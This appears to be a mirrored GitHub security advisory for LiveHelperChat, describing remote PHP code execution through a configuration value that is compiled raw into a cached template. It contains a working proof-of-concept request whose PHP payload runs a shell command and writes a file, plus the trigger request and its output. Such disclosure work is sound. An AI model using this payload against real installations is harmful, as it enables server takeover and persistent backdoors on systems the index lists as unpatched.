GHSA-69P8-4V2V-347R
PHP code execution via config value compiled into a template
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-69P8-4V2V-347R divulgada · CVSS 7.2 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`lib/core/lhtpl/tpl.php` is a template compiler. At `:486` it matches `<?php echo erLhcoreClassModelChatConfig::fetch('key')->current_value ... ?>` in the template source, and at `:491` it replaces the whole PHP block with the raw configuration value:
$contentFile = str_replace($Matches[0][$key],(string)$valueConfig,$contentFile);The result is written to disk at `:544` as `cache/compiledtemplates/<name>_<md5>.php` and included at `:588`.
A configuration value containing `<?php ... ?>` therefore becomes PHP source in a generated file that the application includes.
Three neighbouring branches escape the same value where it enters PHP code: `:502` wraps it as `'\''.str_replace("'","\'",(string)$valueConfig).'\''`, and `:515` and `:529` alike. The branch at `:491` substitutes template text and neutralises neither HTML nor a PHP opening tag.
Result: an account holding the single `singlesetting` permission executes operating system commands as the web server user, triggered afterwards by any visitor.
Details
`tpl.php:486` captures the configuration read in the template, `:491` substitutes the stored value without any encoding, `:544` writes the compiled result into `cache/compiledtemplates/` and `:588` includes that file. `modules/lhsystem/singlesetting.php:19` stores the POST value into `$config->value` unchanged and `:20` persists it. Eight configuration keys reach the raw substitution at `:491`, among them `mheight_op`, `accept_tos_link`, `customer_site_url`, `listd_op` and `min_phone_length`, and all are editable through the same endpoint. The branches at `:502`, `:515` and `:529` escape the same value before it enters PHP code.
Reachable on any instance set up by the shipped installer, once an administrator has granted the permission. The compile step requires `site.templatecompile` to be true (`tpl.php:99`, `:218`); `modules/lhinstall/install.php:3073` and `cli/lib/install.php:2949` both set it, while the shipped `settings/settings.ini.default.php:18` has it false. With the value false the payload is stored and never executes, and `cache/compiledtemplates/` stays empty.
`lhsystem/singlesetting` is declared at `modules/lhsystem/module.php:126` as "Allow user to change app settings" and gated at `:90`. Of the `lhsystem` functions, the Operators role the installer creates receives only `use`, `generatejs` and `changelanguage` (`install.php:3019`, `:3022`, `:3023`); `singlesetting` is not among its 60 permissions. The holder cannot manage users, roles, templates or updates, all refused live.
No shorter route exists: no configuration value reaches `eval`, `exec`, `shell_exec`, `system`, `passthru`, `proc_open`, `popen`, `include` or `require` anywhere else in `lib/`, `modules/` or `design/`. The one `eval()` of a configuration value, at `design/defaulttheme/tpl/lhchat/modifychat.tpl.php:174` and `:196`, reads keys that have no row, and this endpoint cannot create one. Template editing, theme editing and the self updater are separate permissions this account does not hold.
`strip_html()` (`tpl.php:170-190`) trims each line and joins without a separator, so the payload only has to stay valid PHP after that collapse; `:187` inserts a space after `<?php`, so multi line payloads work.
Proof of concept
LiveHelperChat 4.94v (`d8787d04`), Docker, stock post-install configuration with `site.templatecompile` true. Attacker is `chk11`, whose role holds exactly one `lh_rolefunction` row: `lhsystem` / `singlesetting`.
- Confirm the marker does not exist.
docker exec <web> ls /tmp/lhc-vrfy-rce-001.txt
ls: cannot access '/tmp/lhc-vrfy-rce-001.txt': No such file or directory- Store PHP source in a configuration value.
POST /index.php/site_admin/system/singlesetting/mheight_op
mheight_opValueParam=<?php @file_put_contents("/tmp/lhc-vrfy-rce-001.txt",
"EXEC php=".PHP_VERSION." sapi=".php_sapi_name()." id=".@shell_exec("id")); ?>
&csfr_token=<token>
HTTP/1.1 200 OK- Trigger the recompile with an anonymous request to the login page.
GET /index.php/site_admin/user/login (no cookies)
HTTP/1.1 200 OK
docker exec <web> cat /tmp/lhc-vrfy-rce-001.txt
EXEC php=8.1.34 sapi=apache2handler id=uid=33(www-data) gid=33(www-data) groups=33(www-data)The generated file `cache/compiledtemplates/login_5b0f7706...php` contains the payload as source:
confLH.defaultm_hegiht = '<?php @file_put_contents("/tmp/lhc-vrfy-rce-001.txt", ...); ?>';Controls
- The same account is refused on `permission/roles` with "You do not have permission".
- A second key, `listd_op`, reproduces it from the same account: `MINPERM-EXEC key=listd_op uid=www-data`.
- With `site.templatecompile` set to false the identical payload is stored and never runs, and `cache/compiledtemplates/` stays empty.
- Clearing the configuration value and regenerating the cache leaves no payload in `cache/compiledtemplates/`.
Live-verified: a shell command ran as `www-data`, written into a configuration field by an account holding one permission and executed by an unauthenticated page view.
Impact
- Operating system command execution as the web server user.
- The injected code is written into a cached file and runs on every render of the affected layout, so it is a persistent backdoor.
- The trigger is any visitor: the sink is inlined into the page head used by the login, widget and visitor chat layouts.
- Eight configuration keys reach the same sink. `mheight_op`, `listd_op`, `customer_site_url` and `min_phone_length` are rendered unconditionally; `accept_tos_link` sits behind a condition that is off by default, and three cobrowse keys only render on that path.
- Saving the value writes no `lh_audits` row, because the installer leaves `ChatConfig` out of `audit_configuration['log_objects']`.
Credit
Jan Kahmen, turingpoint https://www.turingpoint.de (jan@turingpoint.de)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistremdex/livehelperchat |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/LiveHelperChat/livehelperchat/security/advisories/GHSA-69p8-4v2v-347rLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
